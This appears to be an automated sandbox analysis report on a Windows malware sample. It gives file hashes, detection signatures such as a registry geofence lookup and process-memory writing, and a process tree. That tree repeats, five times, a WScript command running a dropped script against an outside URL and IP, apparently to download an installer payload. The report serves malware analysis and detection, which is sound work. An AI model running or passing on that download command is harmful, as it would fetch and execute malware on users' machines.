Analysis
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max time kernel
88s -
max time network
129s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
28/11/2022, 06:36
Static task
static1
Behavioral task
behavioral1
Sample
acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe
Resource
win10v2004-20220901-en
General
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Target
acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe
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Size
184KB
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MD5
51028ba4650afbe5747392e988f84fb6
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SHA1
ca089c310218e272e09985f7f6eefb37f7d349d2
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SHA256
acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc
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SHA512
5ad9ade0be112b1fb5eba1ea0bbb9bf3f5533e6b79f0b4bd40675b61ef8c59c91a2266f0f5154d025e392099ea2e127621fee054a0638e99fdd1547fb860508b
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO35:/7BSH8zUB+nGESaaRvoB7FJNndnU
Malware Config
Signatures
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Blocklisted process makes network request 10 IoCs
flow pid Process 5 4380 WScript.exe 11 4380 WScript.exe 16 220 WScript.exe 17 220 WScript.exe 18 4232 WScript.exe 19 4232 WScript.exe 26 2280 WScript.exe 27 2280 WScript.exe 28 400 WScript.exe 29 400 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe -
Script User-Agent 5 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 16 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 18 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 26 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 28 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 5 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 1772 wrote to memory of 4380 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 83 PID 1772 wrote to memory of 4380 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 83 PID 1772 wrote to memory of 4380 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 83 PID 1772 wrote to memory of 220 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 87 PID 1772 wrote to memory of 220 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 87 PID 1772 wrote to memory of 220 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 87 PID 1772 wrote to memory of 4232 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 89 PID 1772 wrote to memory of 4232 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 89 PID 1772 wrote to memory of 4232 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 89 PID 1772 wrote to memory of 2280 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 92 PID 1772 wrote to memory of 2280 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 92 PID 1772 wrote to memory of 2280 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 92 PID 1772 wrote to memory of 400 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 93 PID 1772 wrote to memory of 400 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 93 PID 1772 wrote to memory of 400 1772 acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe 93
Processes
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C:\Users\Admin\AppData\Local\Temp\acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe"C:\Users\Admin\AppData\Local\Temp\acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1772 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA378.js" http://www.djapp.info/?domain=ILhbpZNKOf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufA378.exe2⤵
- Blocklisted process makes network request
PID:4380
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA378.js" http://www.djapp.info/?domain=ILhbpZNKOf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufA378.exe2⤵
- Blocklisted process makes network request
PID:220
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA378.js" http://www.djapp.info/?domain=ILhbpZNKOf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufA378.exe2⤵
- Blocklisted process makes network request
PID:4232
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA378.js" http://www.djapp.info/?domain=ILhbpZNKOf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufA378.exe2⤵
- Blocklisted process makes network request
PID:2280
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA378.js" http://www.djapp.info/?domain=ILhbpZNKOf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufA378.exe2⤵
- Blocklisted process makes network request
PID:400
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76